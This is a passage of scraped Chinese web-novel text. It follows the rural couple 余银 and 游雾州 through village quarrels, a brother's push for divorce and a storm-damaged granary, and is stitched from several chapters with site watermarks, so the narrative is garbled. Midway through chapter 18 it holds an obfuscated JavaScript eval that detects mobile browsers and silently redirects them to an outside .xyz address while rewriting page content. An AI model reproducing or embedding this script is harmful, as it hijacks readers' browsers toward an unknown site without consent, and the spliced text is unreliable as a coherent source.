实际上不经意看着自己的眼神里,那怒火,似乎还有些恨意。 她以前怎么就没发现啊。 余银觉得自己真蠢,被她这副模样不知道骗了多少次。 她咬了咬口腔内的嫩肉,直直地看着江窈:“江窈姐,我以前可是真把你当亲姐,有什么好的都想你,这我掉水里你也不讓人送个话,我结婚也没有一句话的,心里多少有些委屈了。” 李小桃听着她那句把你当亲姐,心脏咯噔一下,又转念一想,余银说的真情实意,应该不是一样的。 江窈心里恨余银恨的牙根子痒,可此时也只能面不露臉地,裝出一副知心姐姐的样子,“小鱼儿,我那天听说你掉水里嚇壞了,回去就烧了好几天,你也知道我身子不好,这些日子一直想找时间跟你解释清楚的。” “但我又怕你心里还怨我,不肯定听我说。”她说完,就垂下头。 余银在心里冷笑一声,她还嚇壞了? 她掉水里都是她江窈推的,虽说两人想的是骚主意,但本来没想着真掉下去的,临到头了,告诉余银做戏做真的才更有信服力。 余银想骂娘,但也无可奈何,这事她不能在这么多人面前认了,善解人意地笑到:“江窈姐哪里的话,我是心里有点怨你的,可你也知道,我也没有姐妹,拿你当做亲姐姐来对待的,结果这么多天,你一次也没看过我。” “我要是说不怨你,那肯定不是心里话,但姐妹之间不能藏着掖着,那样就生疏了,你说是不是江窈姐。” 江窈一听,神色微闪,她没想到余银能找上她来问,非要把话摊白了说。 她只好忍下来,笑着赔罪道:“是是是,是我的不是。” 余银看到她这副吃瘪了样子,就气顺,也大度的摆手:“哪有姐姐给妹妹赔不是的,我余银是那种人吗,哎呀,都过去了还过去了,早都忘记了,不提,不提。” 她这会说早都忘记了,过去了,不提,那刚刚揪着她不放的人是谁。 江窈后槽牙都要咬碎了,也不能说个什么。 余银笑眯眯地站起来,拿起靠着一边的耙子,“哎呀,光顾着说话了,小麦都该翻一翻了,瞧我记性给忘记了,你们先聊吧。” 说完,余银拿着耙子去太阳底下翻晒小麦了- 中午收工的时候,其他人都走了,就留余银在那看着,本来是李小桃守,她有些不舒服,想回家躺一会儿。余银就让她回去了,自己替她在这守着。 粮食打完都在这晾着,一刻都不能离了人,不禁防止有人来偷,主要也是下大雨了,还能叫人来收。 不止中午要守着,晚上也要人彻夜守着,不过晚上还有另一个人来接替她的班,不用熬整夜。 她讓李小桃给她娘帶个消息,过来给她随便送点饭。 余银在树荫下坐着放空,主要是她心情不是很好。 这两天她生病,游雾州无微不至的照顾,讓她自己挺不是滋味的。 这刚上工,就碰到了江窈,老天像是故意见不得她还一样,这一巴掌给她的脸打的黢疼。 “想什么呢?”游雾州一手拎着饭,一手拽走了余银嘴里的狗尾巴草,“吃饭了,别咬着这玩意了。” 余银有些意外地看着他,“你来给我送饭?” 游雾州给了她个明知故问的眼神,“我和大福哥这几天干的干的一样活。” 余银忘记这茬了,哦了一声,看着他拿着的饭盒一看就不是一人份的,又联想到他和江窈两个人,说话语气帶着自己都没察觉的酸意。 “这么多,我一个人可吃不完,你这还给谁帶的啊,能劳动你来送,这饭量看着可不小啊。” 她的阴阳怪气,只要不是个又聋又瞎的人,就都能听出来或者看出来。 游雾州轻飘飘地看了她一眼,不等他说什么,余银就夹枪带棒地说:“让我娘送就行了,我饿着不碍事,你这大热天的还跑来送饭,啧啧,快去吧,别让等久了,饿着了。” 他不知道余银又闹哪出,但她知道这是大热天的啊。 自己过来给她送饭落不到一点好就算,还这个态度,游雾州揉了揉额角,“吃饭吧,等会凉了。” “这么急你别过来给我送啊。”余银冷声道:“我让小桃姐带话是让娘来送,饭凉了又不是不能吃,你这么着急就趕紧走吧,我等会等人来了自己把饭盒带回家就是了。” 游雾州默了默,头疼的叹了口气,忍着脾气把饭盒打开给她,“吃饭。” 余银满心委屈,吃饭,吃饭,就知道让她赶紧吃饭,好去不知道给谁送饭去。 她到底是被猪油蒙了心,非要嫁给一个不喜欢自己的人,来受折麽。 就是但凡随便相看一个男人,现在她也不会这样受气。 那饭盒里的饭也不知道放了什么,好像还有香油,闻着香死了,勾得肚子里的馋虫馋的不行。 余银摸了摸自己不争气的肚子,伸手端过饭盒,天大地大吃饭最大。 她打开饭盒盖子,是疙瘩汤,还有黄黄的蛋花,红红的番茄,还有绿的菜叶子,菜叶子碎碎的,看不出来什么菜。 闻着是真不错,这样的饭她没见过,估计是游雾州做的。 余银端着饭盒扭过去尝了一口,真好喝,怎么他就这么会做饭,看着也好看,吃着也好吃。 她才不跟自己身体过不去,把饭吃完了,见游雾州在那坐着等她,手里还拎着那饭盒,也没舍得往地上放。 余银一看那碗饭消下去的那点气,顿时蹭了一下窜上来,把饭盒往他手里一拍,“走吧,走吧,赶紧走。” “我吃完了,你可赶紧走吧,别再这待着干着急了。” 话音落下,余银也不想去看他,自己往旁边找其他乘凉的地方去。 她心里将游雾州千刀万剐,越想越觉得生气。 也暗暗警告自己,不能游雾州对自己有一点好,她就像个傻子一样,啥也不计较了。 余银想自己怎么就这么没出息啊。 游雾州看着手里的饭盒,又看了看自己给她煮的红糖水荷包蛋。 他今天早上起床的时候明明还好好的,怎么这会儿就变了个人似得。 游雾州也不是没脾气的人,被余银甩了几次脸子,也不想再舔着脸找她,拎着那装的他开小灶,给她做的红糖水荷包蛋饭盒就回家去了。 这東西拿回家放那就会被俩小的吃了,他又想自己给余银的东西不想让别人吃了,最后把那份红糖水荷包蛋放屋里了。 准备等晚上余银守夜的时候带过去让她吃了,省的她晚上守夜饿了没东西吃。【你现在阅读的是 】 18. 第 18 章 倒是余银目光恶狠狠的死盯着柳光宗,仿佛下一秒真的要掐死他。 柳光宗缩在王大花的怀里,被吓得直哆嗦,连哭都是毫无声息的悄悄掉眼泪。 生怕余银真的过来掐死他了。 刚才余银是真想掐死他,他感觉到了,那是离死亡没多少时间了。 柳光宗虽然不知道什么是死,但是那种快要窒息喘不上气的感觉,和能感受到自己好像要慢慢消失的恐惧感。 都让他不想再承受第二次了。 双胞胎之间的感应,让连一旁的柳耀祖也同样深陷在恐惧中。 兄弟俩对视了一眼,将头使劲往下埋,把存在感降低,希望不要被注意到。 王大花也被余银弄的一时间也说不出话来。 就这样僵持了没多久,本来去叫村里妇女主任,结果刚好碰上县城过来的两个妇联领导。 去喊村里妇女主任是老杨家的赵婶子,余银刚把那个轻松的活给了她家怀孕的儿媳妇,她一看还来了俩领导。 就故意让那俩领导也一并去。 村里这会能有个头衔管事的,只有张红这个妇女主任了,但张红的男人是柳华青,和柳大牛们也一家,是柳大牛的亲表嫂,这关系在那摆着,两个妇联领导也不好推辞,跟着一起过来了。 但柳华青的亲爹就是即将退任的村支书,他们家本想将位置留给柳华青,但当初早就说好了这是人家余阿舅的。 柳村书记那时候刚坐上村支书的位置没两天。 余阿舅就回来了,他当时想着都是一个村里的,柳支书又刚上位。就说等到柳支书六十岁年龄到了再说,毕竟村书记那个位置可是很多人眼红盯着的,余阿舅这样做,当初柳村支书为了感恩还写了承诺书。 这些年上头一直想把余阿舅往上提提位置,可最近也不知是谁说的,柳支书的位置当初本该是余阿舅的,还约好了等他六十岁,就把村书记的还给余阿舅。 可余阿舅一直也没表过态跟他提过,现在他们不想认了。 柳村支书本想着,余阿舅一直没提过,且他自己还是个能干的,应该不会想着村支书的事,就想着自己也装糊涂,等到差不多的时候,直接给他儿子柳华青。 到时余阿舅一看这位置有人,应该就不会再让儿子退下去了。 最近离柳支书六十岁没多久了,他们家急的就像热锅上的蚂蚁。 这些事,赵婶子是知道当初一点的,就是也想到了这些龌龊,才开口说了张红和打架的王大花是一家的,但也没提还有关于村支书位置一事。 这件事不管最后怎么处理,赵婶子既能两边不得罪,还能两边都落到好。 赵婶子打着小算盘,带着张红和那两个妇联领导挤进来。 “让让,妇联主任来了。” “这俩可是城里来的领导。” 张婶子大家都认识,她身边还多了两个脸生的,看着年纪都不小了,穿着藏蓝色的工作服,一听是县城来的领导,赶紧腾出一条道来。 张红看了一眼柳家的人,问道:“怎么回事啊,闹成这样。” 来的路上,赵婶子只说余家和王大花发生口角后来动起手来。 也没说是谁先挑的事,和余阿娘晕倒了。 柳家的人也是听说王大花被打,一头雾水的赶过来,具体实情也不知道。周围看闲事的就叭叭地将她们吵起来再动手的事一一说出来了。 将王大花是怎么骂的余银,最后打起来,再到王大花那两个小的给余阿娘撞晕在地上。 游雾州此时才听到了事情起因,脸黑了又黑,揽着余银肩膀的手掌也不自觉地用力。 余银抬眸,只能看到她紧绷的下颌,晃了下肩膀,从他手下脱离出来。 张红原本还有看热闹心态,在心里盘算着怎么将事情闹大,好让余阿舅不好再向他们家提村支书的事情。 可听到将余阿娘都给撞晕了,她是刚飘上去的心情,瞬间又跌落下去。 那两个妇联的人也不好插手人家村里的事,只是在一旁就行,但听到人晕了,便开口道:“晕倒的婶子怎么样了?” 她一开口问,看热闹的村民们这才想起来,光说余阿娘晕倒,但也没人去看看她咋了。 大家四周看了看,才发现,余阿娘在旁边的大树下躺着,王桂香也在她身边。 赵婶子喊王桂香,“桂香啊,你姐没啥事吧?” 王桂香点点头又摇摇头,“刚才醒过一次,说难受的慌。” 妇联的那俩人看着衣服和头发乱糟糟的王桂香和余阿娘,对视了一眼,眼底的无奈清晰可见。 她俩也不是什么领导,只是杨柳村远还偏,她们妇联的人都不愿意过来,有问题也是让下面那些小姑娘跑一趟。 前短时间其他地方有小姑娘去乡下,出了点事,差点回不来,让那村里的军官给救了出来,事后妇联的主任领导都挨了顿批,不再让小姑娘下乡,说不安全。 下乡的全换成已婚年龄大的老油条。 她俩本想着走个过程吃个饭就走了,这还赶上事了。 出于人道主义也不好推辞跟着一起来了。 这谁知道,人都晕倒了,差点出人命啊。 张红对着妇联这俩人干笑一声,“醒了就行。” 村里人晕倒了就掐人中,醒了就没事,至于医院,那是去了有病没病都要掏钱的地方,她们是不去的。 妇联的这两个人听张红的话,皱了下眉,但也没说什么。 毕竟再怎么样也不归她们管。 张红看了看余阿娘,又看了看王大花。 前者躺在那,实在不好说什么,后者一见她看过来,就嚷嚷道:“张主任,你看看余银那死丫头给我们娘几个欺负的,我这么大年纪了,她还问我叫一声婶子呢。我不过就作为一个过来人,提点她几句夫妻间的相处之事,她当着这么多人的面打我,我王大花的脸以后还往哪放,以后还怎么见人啊。” 说着抬手抹了把脸,擦着不存在的泪花。 “就是,王大花再怎么也是余丫头的长辈,怎么动手打长辈啊。” “余银这丫头也太霸道了,就说了两句,又不会掉块肉,还动手打人,刚才还想掐死人。” 村里人听风就是雨,王大花这一说,风向瞬间变成了余银的不对,完全忘记了到底是为啥了。 躺在树下乘凉的余阿娘,听到这急的想赶紧起来辩解两句。 张红看向余银,冷着脸训她:“余银,你不能仗着你舅舅是大队长,就以为能在村里一手遮天,为所欲为了?平日里就算了,怎么还能动手打长辈?” 她这话说的缺德,也不愧是妇女主任。 不仅给余阿舅按了个徇私了罪名,还想将事情过错都推到余银身上,将余银这个人直接定下了,她平日里就仗着余阿舅为所欲为的印象。 像余银这种不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399955|168363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懂弯弯绕绕的,只觉得她这话说的不对劲,她确实是打了王大花,那也确实算她长辈。 可就是说不出这些话哪里不对。 游雾州打小就跟着他外公,也知晓这会儿张红打的什么主意,用只有他俩能听到的声音说了句。 “等会学一下虎丫。” 他说完,就将余银拦在胸口,手掌在她背后轻抚,“张主任,余银同志平日里是不爱上工,她从小身体不算太康健,余阿娘心疼女儿,但余家没指望着她挣那几个公分来吃饭。余家阿舅作为大队长也从来没偏袒过余银一二,不论村里干不了重活的知青,还是谁家身子不好或怀孕的媳妇,都是给挑轻松活。” “余银同志即使身子不算康健,在我们结婚后也是主动提出去参与重一点的农活,来替村民们分担,她知道她舅舅是村里大队长,也不想拖后腿。我不知道王婶子是从何处听到的余家是逼迫我和余银结婚的,但余银和余阿娘毕竟作为军人家属,王婶子将那些污言秽语安在他们身上的时候,有没有想过在军营的余金同志心里作何感想。余金同志不畏艰苦,冲在最前面,王婶子却在他的身后如此欺负余家阿娘和余银同志。” “王婶子这番做派,当真是让人心寒。张主任一向正派,也应该好好查一下王婶子的身份,毕竟余银同志好好的在做活,王婶子上赶着对军人家属余银同志咄咄逼人的侮辱,这样的作风问题,我们淳朴的农民是做不出来的。” 又是作风问题,又是对军人家属主动挑事。 王大花和张红的脸都青了又白,人家再懒那也是身体不好做不了重活,再说了吃的是余家的粮食,干她们何事。 村里人在余阿舅的带领下那确实是平平稳稳,没出过什么大事,虽然苦,但也至少平均的对待每一家,比起那只想着揽自家的,不知道要好多少。 更是对于那些肩不能提手不能扛的孕妇和知青,那确实是多加照顾的。 你要说他偏心家里人,可余阿娘和王桂香也都是做着一样的农活,她家余银也是有着割猪草的活,没说整日闲着,比那个村支书家小儿子对象,那个记分员的活还要累一些。 那记分员的活才是啥也不干,没什么用处的。 余银观察到村里人顿时沉默,他们心里也是有一杆秤的。 游雾州让她学虎丫,可不是会哭的孩子有糖吃虎丫还能边哭边把糖都吃了,余银垂着的手狠狠的在大腿了拧了一把。 疼的她眼泪瞬间流出来了,学着虎丫,嘴一张,哇的一声哭起来。 哭喊着说:“我也不知道做错了什么,婶子们眼神不好,我正穿着线,王婶子过来说我没脸没皮,不要脸,坏了村里的名声,还有许多难听的话我都说不出口。也不知道我做了什么错事要让王婶子如此侮辱我,难道就因为掉水里被我男人救了,我就不该活在这世上了吗?” “可是现在不是新时代了吗,我已经因为落水嫁给游雾州了,难道非要我去死,还是新时代不能给落水的女人一条活路吗?我哥哥临走之前让我好好照顾我阿娘,要是真的没有活路了,我、我现在就去死。” 说着就要往她娘躺着的树上撞,被游雾走拦着,捶着胸口哽咽着:“我没脸活下去了,王婶子不给我活路啊,我辜负了我哥留给我的任务,也不能给娘好好尽孝,哥哥,对不起。” 余银哭的一抽一抽的,加上那声声控诉,连那个不想管事的妇联的人听了,都觉得都觉得有些不忍。 40-50 第41章 第41章给余银找的相好? 游雾州不可否置,这些確实是他同意的原因。 他没发反驳,也不能反驳。 现在余金和周华言要的就是他的态度。 游雾州抬眸直视着余金,苦笑道:“人都是利己主义,我確实是有私心。” 他神色認真道:“可我也是真心想和余银过一辈子。” 游雾州从来没后悔过那天救了余银,他甚至庆幸那天是他。 他对余银是有感情的,不只是因为妻子的身份。 余金看着他提到余银,瞬间亮了一下的眼神,抿了抿唇道:“如果你们过不下去了呢?” “不可能有如果。”游雾州毫不犹豫道。 他皺眉着解释:“我不会讓这种假设出现,也不会讓这件事发生。” 周华言颇为嘲讽道:“小游啊,太确信了一些吧,日子还长着,你怎么能确定啊?” “人心可都是会變的啊。” 誰敢打包票他以后不会找新的人,游雾州不是这的人,他家的事调查清楚了,家里人迟早要把他捞回去的。 他现在已经和余银结婚了,到时候该怎么辦。 首都离得那么远,游雾州会帶着余银一起去嗎,去了那么一个人生地不熟的地方,她能适应嗎,受委屈了怎么辦,游雾州變心了她又该如何。 游雾州眉头越皺越紧,神色認真道:“大哥,我不会……” 话没说完,余金叹了口气,说道:“我们不是来审判你对余银的感情,也不可否置你是一个有能耐的 人,也不会屈服于待在杨柳村,你有什么忙我们都会尽量帮你,日后我们不求你能善待余银,只求好聚好散。” 周华言接着他的话道:“你回你的首都,余银我们会拦着,决不给你添麻烦。” 游雾州呼吸一紧,身子也一下僵住了,“什,什么意思?” “你家里的事,这两年肯定会有结果。”周华言道:“首都和偏僻的杨柳村之间的距离和差距,你应该知道,我们不想看到你们走到相看两厌,成为彼此最恨对方人。” 游雾州不明白,也不理解,余金是余银的亲哥哥啊,为什么不想着讓自己的妹妹幸福,却在要讓自己回首都的时候,跟余银分开。 余金轻描淡写道:“现在倡导婚姻自由,恋爱自由,美好的爱情故事固然很多,可为什么那些美好的爱情故事到了结婚后就嘎然而止,因为结婚后,两个人面对的,要过的日子太久了。没有人能保证一直不变心,也没有人能保持一直不变,随着时代变迁和时间的流逝,是否还确定对方是彼此需要的人。” 在余金说这些话的时候,周华言听着皱起了眉头,陷入了沉思。 余金覺得,以游雾州家的身份和他这个人,余银注定是要吃亏的,他根本帮不了余银太多,只能劝告两人及时止损,才能让余银受到的伤害降到最低。 游雾州只是苦这一时,他从小接触到的和受到的教育,都和余银是完全不同的。 而且他这个人太聪明了,一点都不适合余银。 对于他们来说,余银漂亮,聪明,人善良却能分辨是非,可这些东西在感情里是最不值一提。 可以后的生活里会出现各色各样的人,那时候余银又该怎么办,天高皇帝远地,一封信要等半个月才能收到,他们又该如何得知余银生活的好不好,开不开心。 游家的身份又太特殊了,余银和余家在他们眼中就如蝼蚁一样,任人揉搓不说,且还游家其他人是否认余银,如果不认,他们是否有抗衡的能力。 不管怎么想,吃亏和受委屈的都是余银。 余金根本无法能放心把余银交给游雾州。 游雾州抿了抿唇,轻声喊了句:“大哥,说到底,其实你还是不信我。” 他接着道:“不会有仗势欺人,我们已经领了结婚证,盖了公章,好聚好散是不可能的。” 除非他死,但他只会比余银后死,两人死了之后也必须要埋在一起,根本不可能分开。 “你怎么油盐不进。”余金绷着脸,冷声道:“以你的条件什么样的找不到,以后的事说不准的。” “这件事我不可能让步半分,即使你是我大舅哥。”游雾州拒绝的很干脆,甚至一点面子就没给他这个大舅哥余金。 游雾州压根就不是好脾气的人,平时装久了,他自己都以为脾气变好了,今天知青点的人,现在又是他的大舅哥,余银的亲哥哥。 要不是亲的,他真想敲开余金的脑袋,看看里面装的什么,他到底是有多不让人放心,作为大舅哥的余金,好话赖话都讲出来。 劝他和余银一拍两散。 宁拆十座庙,不悔一桩婚,这道理,原来有这么多人誰都明白和认可的。 余金和游雾州都有些气恼对方,回家路上,谁也不搭理谁。 就在快要到家的时候,碰到余家人正在送周华锦。 “哥,你俩去哪了?”余银看到他们,朝着他们走过去,看到游雾州也在有些诧异:“你们这么巧嗎?” “是啊,还真是挺巧的。”周华言笑道。 余金和游雾州都沉默着,两个人之间的气氛也稍微一些不对劲。 余银敏锐的发现,余金正克制着他的情绪,且对着她也不和颜悦色了。 周华锦告别余家人,也走了过来,在隔了几步的距离,朝着他们笑着打了声招呼。 “这就走了?”周华言看着他道:“不在这住两天吗?” “下次吧。”周华锦摆手,接着问周华言:“还没跟家里交代一声,表哥你不回去吗?” “不回去,等过两天再去你家。”周华言懒洋洋道。 周华锦点头看着他们道:“那我先走了,天黑了不好回去。” “我俩送送你。”余金挑衅的看了一眼游雾州,他的视线从紧接着在余银的身上再落到周华锦身上,然后道:“你哥可没少提你,正好我也想跟你聊聊。” “走吧,走吧,别推辞。”周华言紧接着道。 周华锦他们一走,就剩余银和游雾州。 余银立刻忍不住的问他:“你怎么惹到我哥了,他好生气啊。” “……”游雾州不可能告诉她,余金想让俩人离婚,他抿了抿唇道:“大哥他有些事没想通,和我稍微有点意见不同。” “意见不同?”余银嘟囔着,她讨好的笑着:“大哥能有个啥意见的,你顺着他不就行了,毕竟我哥好不容易回来一趟,让他高興高興唄。” 余银不知道两个人能因为什么事意见不合,但看他那样子,简直把气都帶在她身上了。 这无妄之灾啊…… 游雾州的脸瞬间黑了下来,掀眸看她一眼,冷哼一声:“那事我不可能让步的,就是因为他是大哥,我才没生气。” 见他眉头越皱越紧,一副厌烦气恼的神色,余银眼睛滴溜一转,弯着眼眸道:“我给你说个你想听的好消息唄,还有两个嘞。” “什么好消息?”游雾州垂眸看向她。 “周醫生给我把脉了,没懷孕嘿嘿,你听了开心不?”余银笑嘻嘻地,踮起脚尖在游雾州耳边小声道:“还有,周醫生跟我说计生用品可以不懷孕,给了我好几个,这下你更不用担心我会懷孕了。” 余银挺高兴的,不仅没怀孕,还能让她不怀孕,也不伤身体。 这可真是两个好消息。 游雾州目光幽幽地盯着她脸上的笑容,“这么开心?” “当然了。”余银歪了歪头,眨着眼庆幸道:“你不是不想要孩子吗,刚好没怀,还有了计生用品让我也不用怀,这还不高兴啊?” 游雾州头一次覺得余银的笑,有些刺眼,刺地他心脏帶来一阵阵的疼痛。 他只是不想要,没有不要,也没有不欢迎孩子的到来。 昨天下午,他甚至有些隐隐地期待,他们之间有了血缘的纽带和延续,可余银却只有对没怀孕的庆幸和开心。 游雾州垂下眼睫,不敢去看余银的那笑容。 余银觉得这两个好消息,肯定让游雾州也挺开心的。 但他肯定会为了顾及一些,不敢表现的太明顯,才顯得平静些,其实心里肯定高兴的不行。 她一直知道游雾州不想要孩子,可事实是他不想要,还是不想跟她要,也不得而知。 余银在他移开视线后,脸上的笑容也瞬间消失了,每次强颜欢笑努力做出一副释然理解的样子,她就像自己明明知道吃的是碎刀子,却还要咽下肚,忍着疼笑着说她不在乎。 她都不知道,怎么自己还有这么厉害能力,对着游雾州,这么多次能做到面不改色的说谎。 这么想着,余银接着压下心里的不甘,深深吐了口气,然后笑盈盈地对着他说:“你看这今天有两件高兴的事,你大人不记小人过,不跟他一般计较呗。你不知道啊,我哥他这个人打小就又轴又犟的,他一年也回不来几天,顺着点他吧,行吗?” 余银语气轻松,带着笑,话里话外都是让他退步让着她哥,要不是不退步,他不就显得多不厚道一样。 可他们争执的,根本无法对其他人说。 足以见得余金就是故意的,他就是故意这样,他不找余银,也笃定了游雾州不会告诉余银。 让他知道,余金在余银心里的分量有多重,就算游雾州再如何,余银都会偏向他。 游雾州要是真对余银有点感情,就不会让余银夹在两人中间为难。 余银已经做了选择,明摆着告诉他,好聚好散是最好的安排。 余金没有这么深的谋算,怕是他 身边的那个人,难怪特意带了战友回家,原来是带了军师回来。 那个周医生和周华言还是表兄弟,恐怕都是提前准备好的。 他这一天都不在,也无从得知,那个周医生,难不成是提前给余银找的相好? 第42章 第42章粮仓漏雨了 夏季的雨,说来就来,带着大风,吹起大颗大颗的雨滴,哗啦啦从天上坠下来,来不及给人躲雨的机会。 这场雨来的猝不及防,却也讓游雾州有了喘口气的时间。 余银和游雾州停止了他们之间的话题,手挡在头上赶紧往家走。 到家后,余银拍了拍身上落的雨水,摸了把脸,却看到游雾州手里拿的傘,“哎,你手里拿着傘刚才。” 游雾州微微低下头,嘴角露出一抹苦笑。 “你快去收拾一下。”余银伸手去拿他手里的傘,“这会下这么大雨,我哥他们肯定没带伞。” 游雾州点头,有些失神地看着手里的伞,淡淡道:“我去吧。” “啊?”余银抬眸看他。 游雾州把目光移到她身上,闭了闭眼,哑声道:“路滑,你去送我不放心,再说,我也應该好好表现一下。” 余银也没多想,以为他真是这么想的,想和余金打好关系,她也挺愿意看到他倆,最起码不是僵着的。 她松开拿着伞的手,莞尔一笑:“那你也小心点,我也不放心你。” 游雾州深呼一口气,也朝她笑了起来,只是笑的有些苦涩,转身離开了。 如果余银没直接回屋,就能看到游雾州拿着伞的手,在微微颤抖。 游雾州说出不此时的心境,地上的路随着大雨落下,越来越泥泞,就像他要和余银要走的路一样。 越来越坎坷颠簸,而坚持下来也未必是他想要的结果。 游雾州第一次如此迷茫,理智告诉他,他确实要在和余银感情不深的时候,断的干净,才能更好的去完成自己的事。 可是他想要断开吗? 他撑开伞,大雨順着伞骨往下滑,在他眼前形成一道雨帘,他视线只有被雨雾遮盖的景象,就像什么都也看不到了。 如果他和余银断开,他根本不想想如果,他的心脏就像无形的手掌紧紧攥住一样。 讓他主动放弃余银,就如同将自己开膛破肚,把内里所有重要的器官生剥離出来,如果他能还活着,可是他的眼睛,大脑,四肢却都记得余银。 游雾州想都不用在想了,放弃余银?这根本就是不可能的事- 游雾州脚步不慢,但却依旧没看到余金他们,正好碰见了村长,他正着急忙慌地往喊人,讓去帮忙修仓庫。 仓庫里装的他们还装着刚收下来的小麦和其他粮食,这时候要是弄湿了,那就全村人等着餓一年了。 游雾州一听,“漏雨了吗?” 村长着急的不行,“可不是,快去,我还要去招呼其他人。” 说完人就小跑着离开了,游雾州也没去找余金他们了,反正他们三个大男人淋点雨,也不什么大事,他脚步朝着放粮食的地方去。 村长来到余家叫余阿舅的时候,余银才知道,难怪好半天都不见余金和游雾州他们回来。 仓庫漏雨可不是小事儿,风还越刮越大,他们村本来就不富,村里里大部分都是黄泥巴糊的房子,很少有青石瓦房。 而仓库就是有些年头的石瓦房,听说是以前土匪的姨太太给家里盖的,不过有些年头了,上面的瓦时间久了,风吹雨打的就不行,每次抢收前都要修缮一番的。 这次估摸着有人在修缮的时候偷懒了,仓库才会出现漏雨。 现在里面搬粮食移位置的,还有拿着盆去接雨的,也有去找石瓦的。 余阿舅去的时候,余阿娘和王桂香也去了,屋里就只留下了余银和虎丫、余慶。 雨越下越大,余银的心也有些慌 ,总覺得有什么事要发生。 她仔细回想,却怎么也想不起来以前,粮仓漏雨出过什么事,越想越想不出,她的心也更不安。 “姐,虎丫餓了。”虎丫摸着肚子,像个小猫一样窝进余银怀里。 余银摸了摸她的头,问余慶:“你餓不饿。” 余慶摇头,“我还行,可以等他们回来再吃飯。” “你倆等我一下。”余银摸了摸余庆的脸,从椅子上起来,“看着妹妹哦,我去给你们拿点吃的。” 余银从堂屋里往后院他们自己屋里走,她从箱子里拿出油纸包着的桃酥,那是游雾州買的,还没吃完。 她提着剩下的桃酥又回到堂屋,“先吃这个垫垫吧,他们估计还要一会才回来。” 桃酥比大白兔奶糖还要少见,手里有点钱的,宁愿買点便宜的糖,也不会买桃酥,那是鸡蛋、糖、油和面做的。 很是金贵。 虎丫看到她拎着的东西,眼睛都恨不得黏在上面。 “这是什么呀?”虎丫咽了咽口水:“好香啊。” 余庆也忍不住咽了下口水,“肯定是好吃的,笨蛋虎丫。” 余银笑了笑,把绳拆开,露出里面金灿灿,香喷喷地桃酥出来。 “是桃酥!”虎丫眼睛更亮了,边说边咽着口水。 “今不是吃过吗,怎么还这么馋?”余银看着虎丫道:“快擦擦口水吧。” 虎丫擦了擦快要流出来的口水,余庆也抹了把不存在的口水,说:“姐,真给我们吃桃酥啊?” “说的跟你倆没吃过一样。”余银拿起两块,给他俩一人一块。 两人接过她手里的桃酥,嘴角的笑容都合不拢。 “谢谢姐,你真好。”虎丫嘴甜。 “吃吧,吃吧。” 这一份有很多,买回来还没吃,再不吃也要放不住了,刚好讓他俩给解决了。 余银看他俩吃的开心,心里的不安也慢慢消散了。 那一份吃完,两人同时打了个饱嗝。 虎丫砸吧砸吧嘴:“姐,桃酥可真好吃。” 余庆在一旁附和的点着头。 余银笑着说:“你俩吃的我的桃酥,听不听我的话?” “听!”他们异口同声喊道。 “那行,虎丫听话一点,余庆带着虎丫在这玩。”余银说:“我去给他们燒点水,他们回来也要洗个热水澡。” 两人乖乖地点着头。 虽然在自己家,但余银今晚的心太不安了,余庆大一点能自己走,她抱着虎丫,三个人都呆在厨房。 厨房有两个小凳子,余银让他俩坐着,自己则是把两个锅里都添了水,坐在柴上往灶下添着柴。 水燒好了,他们也没回来,又等到两个小孩在床上睡着了,过了一会儿,才听到人回来的动静。 他们去的急,虽然穿着雨披,但身上也湿的不行。 “我燒了水,你们快洗洗。”余银见着他们道,“盆我都拿去在厨房搁着了。” “你待会儿在烧点姜茶,淋了雨带喝点。”余阿娘叮嘱着。她正往厨房走时,又转过头交代道:“对了小鱼儿,你把你那屋收拾下,你大哥今住你那屋里,小周医生跟他哥去你大哥那屋住。” “行,我知道了。”余银扫了一眼,她没见到周华言和周华锦,去往原来她那屋里。 她那屋也没什么好收拾的,从旁边她娘那屋里拿了被子和床单一铺,就完事了。 弄完这些,她又去厨房里给他们烧姜茶,游雾州正拿着她的盆打水,见她进来,说:“大哥他们盆不够,我把我的盆给他们了,我先用一下你的。” 余银点头,“你用你的,没事。” 他俩是夫妻,用一个盆也没啥,怎么还跟她解释解释。 游雾州打好水,“飯等会我做,我很快洗完。” “好。”余银说:“你做什么飯,我给你把菜洗好。” “外面太黑了,又下着雨,我等会洗完去摘,你可以先下面条。”游雾州说。 余银吃过桃酥了,也不太饿,饭好后,她就回房间了,不然屋里桌子坐着也有点挤的感覺。 没等多久,游雾州也吃完饭进屋了,他关上门,往床边走,“你今晚怎么没吃饭?” 余银想到那包桃酥,“不太饿,那个你买的那包桃酥,今晚我们给吃了。” “虎丫和余庆饿了,你也知道我太会做饭,他们也不吃我做的饭。” “吃了就吃了,本来就是给你吃的。”游雾州不在意,他上了床掖好蚊帐,“但你下次不能吃了 桃酥,就不吃饭。” 游雾州掖好蚊帐,站来拍蚊子的时候,就听余银嗯了一声说:“我上来的时候拍完了,你躺着吧。” 游雾州在她旁边躺下去。 余银问他:“仓库咋回事哎啊,不是才修过,这才过了多久咋漏雨了。” 就昨天的雨,仓库又不是纸糊的,要说把仓库弄漏水,是不可能的。 “旁边的树枝断了,砸房頂去了。”游雾州解释道:“把瓦砸烂了,幸好要下雨了,阿舅让人守着仓库,发现的及时,没把粮食淋湿。” “这也太巧了吧……”余银忍不住说。 不怪余银觉得巧,一起去的人也觉得巧。 后面还又差点砸到人了,幸好没出事。 游雾州侧过头看了她一眼,房间内吹了灯,黑黢黢地,他也能凭借着大概位置看着她。 “余银。”他的嗓音有些沙哑。 “干嘛啊?” 余银见他不说话,翻了一下身子,转向他那边,伸手戳了戳他的胳膊,“你喊我干啥啊?” 游雾州还是没说话,也没反應。 余银悻悻地收回手,她刚躺回去,身上突然一重,滚烫的气息喷在她的脸上,順着往下落。 根本不给她反应,腰下就被垫起了枕头,腿被抬起往帐頂碰去。 细细密密的吻,舔着她的皮肤,顺着她的脚腕往里去。 攥住她腿的力气很重,这个姿势把她的所有明晃晃亮在他眼前。 只是可惜没有电灯,游雾州觉得有些可惜。 